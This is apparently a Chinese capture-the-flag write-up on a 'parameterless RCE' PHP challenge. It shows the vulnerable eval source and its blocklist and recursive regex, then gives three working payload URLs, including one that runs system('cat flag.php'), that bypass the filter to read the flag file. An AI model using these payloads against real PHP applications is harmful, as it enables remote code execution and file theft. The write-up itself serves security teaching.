题目描述的是无参数RCE
源码
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>
我们可能需要用到的函数无参RCE
看这个正则表达式
/[^\W]+\((?R)?\)/
\W
匹配非字母字符
[ ]
不匹配内部的字符
[^\W]
匹配字母(负负得正)
[^\W]+
匹配一个至多个字母
\((?R)?\)
匹配括号,括号中允许有这个当前这个表达式(递归)
那么这题的正则表达式就是只允许我们使用函数,不允许我们为函数传递参数
我们接着看
来看看这个函数会返回什么 get_defined_vars()
会返回一个数组,但是第一个参数是$_GET
,然后我们可以用current
这个函数来取得第一个参数
这里我们假装GET传参
然后我们再利用end
函数取得最后一个参数
利用这个特性,我们构造payload
http://node3.anna.nssctf.cn:28085/?code=eval(end(current(get_defined_vars())));&c=system('cat flag.php');
然后我们查看网页源码就能看见flag
另外一种方法(通过pos(localeconv()
获取一个.
再用scandir
获取当前目录文件,再通过next(array_reverse)
获取flag.php
,最后readfile
读取文件)
http://node3.anna.nssctf.cn:28085/?code=readfile(next(array_reverse(scandir(pos(localeconv())))));
另另外一种方法(通过pos(localeconv()
获取一个.
再用scandir
获取当前目录文件,再通过array_flip
将键值调换,再用array_rand
随机读取一个键,这个键可能是flag.php
然后再用readfile
读取文件)
http://node3.anna.nssctf.cn:28085/?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));